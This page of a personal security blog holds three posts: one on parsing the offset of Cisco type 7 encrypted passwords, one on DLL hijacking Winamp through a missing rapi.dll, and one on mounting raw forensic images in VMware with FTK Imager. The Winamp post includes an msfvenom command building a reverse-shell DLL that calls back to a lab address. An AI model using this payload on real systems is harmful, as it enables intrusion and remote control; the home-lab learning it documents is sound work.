Sunday, November 23, 2014

The Importance of Old Lessons; The Quest to be a Better Programmer

I've been spending as much time as possible working on small little programming exercises, mostly in C++ and PowerShell.  I'm pretty novice; I may never get past the horrible whack-and-hack code I often piece together.

When I first started my IA program, I had to take a crash course in C programming for non-CS grads.  I had the hardest time with the simplest of operations, looking for new functions to help.  For instance, it took me weeks to see the relationship between UPPER and lower case in the ASCII chart (+/- 32).  This stuck with me to this day, but a deep understanding of the lesson was still lacking.

Take the Cisco 7 Password crack examples; it's all over the Internet and is well known.  So, naturally, I figured I should be able to write my own code to do the same as everyone else.  No problem; I actually did this.  However, the OFFSET and the HEX values for the encrypted password had to be hard-coded in.  I wanted to accept user input.  This is where I got seriously stuck.  One of the ways I learn how something works is to observe it.  This means a lot of printing out variable and values when I'm working in some section of code I can't map out for some reason.  I'd been stuck trying to figure out how to extract the offset value of an encrypted password.  I was trying to concat elements of a char array as a single int value and a bunch of other crazy stuff.  I just couldn't figure it out

Then I came across this example that was so simple; subtract 48 from each character, using 10s and 1s place values and add together to get the offset.  I'm pretty bad at explaining, let me show you.

Encrypted password = 13061E010803
The offset is contained in the first byte; 13.  However when read into an array, you get:
char array[0] = 1
char array[1] = 3

However, as input a char, their stored values are 49 and 51.  I need to work with these as a decimals.  So, how do you convert?  Subtract 48 from each value.  You end up with 1 and 3.  **lesson**  Now I have the decimals the way I need them.... almost.  1 is in the 10's location, so if I multiply it by 10, I end up with 10.  3 is in the one's location, so if I multiply it by 1 I get 3 (don't need to multiply).  Add them together and you get 13!

So, had I looked or remembered the ACSII chart lesson from years ago, I might have gotten to this point on my own (or at least damn near close).

Live and Learn

Sunday, October 26, 2014

DLL Hijacking Winamp

I've been a HUGE fan of Winamp since it's inception.  At the time, I was a modem support jockey, ironically enough, at AOL. (for those curious, that was about 1997).  Seems everyone today is perfectly fine with the stock crap that the vendors push for audio, which helps explain why the product is no longer officially around and instead, listed optimistically citing that "there's more coming soon".  Regardless, I still use the product and recently, learned of DLL Hijacking.
Obviously, this isn't anything new and I'm blissfully late to the party.  Regardless, it's worth looking at and learning more about.  "This issue is caused by applications passing an insufficiently qualified path when loading an external library".  The folks over at Offensive-Security have a great video on this here.  Like I said, I'm new to this topic for some unknown reason.

To test against Winamp, I first fired up procmon from Sysinternals. I start with 3 filters;

  • Process Name is "Winamp.exe"
  • Result is "name not found"
  • Path ends with ".dll"  - This gets changed to the dll I'm looking for later
I started looking at the dlls one at a time and found rapi.dll.  I threw IDA free at Winamp.  Couldn't find rapi.dll as a string.  I modified the filter to look like the above pic, homing in on rapi.dll and launched the app again normally.  This is what I found.
That's a whole lot of paths it's searching.  What's really dangerous is that pretty much the entire system PATH was searched for this dll.  Notice, I have location defined outside of the protected %program files% space.  I chose to to test this using PYTHON27 dir.  Of course, the first thing we try is a Metasploit and a meterpreter package, right?  Sorta.  The DLL works completely on its own, but when called from the application, I get broke meterpreter session with a fully functional.  Must be a problem with the stager.  Let's just get shell. For now, settled on the following msfvenom build.
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.118 LPORT=8081 -f dll -a x86 --platform windows EXITFUNC=process > rapi.dll
BOOM!  However, the application is no longer functional.  Remember how I said I was totally new at IDA, reversing and the lot?  I'm pretty sure if I could find the call to rapi, I might be able to determine what it's expecting to have returned, and put that in my my own custom DLL.  All theory at this point.  BTW, rapi.dll appears to be related to mobile devices, but doesn't exist on either my Win7, Win8 or Win10 boxes.

In conclusion, while not exactly getting access to the box, this search order reveals paths that might have execution privileges, so when looking at needing to obtain more shells, this could lend itself slightly useful (well, maybe)

Friday, October 24, 2014

Dynamic Interaction Analysis of Forensics Images Using Completely Free Tools

A couple years, ago, when I was first introduced to forensics, I found it overwhelming to dig through static configuration files (Windows registry) when looking for data and over time, I failed to keep track of key registry locations I would need to exam.  I was lucky enough to have FTK available and items like the Registry Quick Find Guide was extremely helpful.  Today, went out looking for this, and can no longer locate it on Access Data’s site.  While FTK was extremely powerful, there are times were you want to interact with the system, for example, when doing dynamic analysis of a possibly compromised system.  I came across VFC @ http://www.virtualforensiccomputing.com/vfc-faq.php, but simply couldn’t afford this.  From the home lab perspective, I wanted a zero or no-cost solution for analyzing full raw (dd) images.
Zero Cost Solution:
·         VMware Player

·         FTK Imager
I’m going to assume you already have a RAW format image.  You could have used FTK, but that’s not important.  We’re going to use FTK Imager for the Disk Mounting utility.  What makes this awesome is the mounting the image as “Block Device /Writable”.  From the user guide:
“Allows you to write to the evidence, make notes, and so forth. the changes and
notations are saved in a cache file, but no changes are made to the original. If
selected, provide path information for the cache file in the Write Cache Folder field.”


Here’s the processing flow I use.
Start AccessData FTK Imager
Ø  File > Image Mounting
Ø  Select a dd file (raw)
Ø  Mount Type:  Physical & Logical
Ø  Drive Letter: Next Available
Ø  Mount Method: Block Device / Writable
** Don’t close FTK Imager**


**I assume you have used VMware and understand how to create/provision VMs.  Ideally, a custom .vmx file would be completely appropiate here.  Here, I’m assuming you know the basics.**
Create new VM.  Choose CPU and RAM.  Ideally, you should match what the physical machine had.  For the hard disk, just pick the defaults; we’re going to be deleting it and creating a new one anyway.  Once you’ve got your VM created, go back into the settings and let’s start by removing the Hard Disk and then adding a new one.
VMware Add Hardware Wizard
 Ø  Add Hard Disk
 Ø  Virtual Disk Type: IDE (adjust if you have issues)
 Ø  Select Disk : Use a physical disk, Usage: Use Individual Partitions

 Ø  Check all of the partitions listed






From there, fire up your VM.  Excessive disk paging and high CPU should be expected, especially during first launch while Windows loads/installs drivers.  You can do anything you need to, and FTK will take care of it, leaving the image intact.


Of course, with VMware Professional, you have more robust options.  This is how to do it on the super cheap!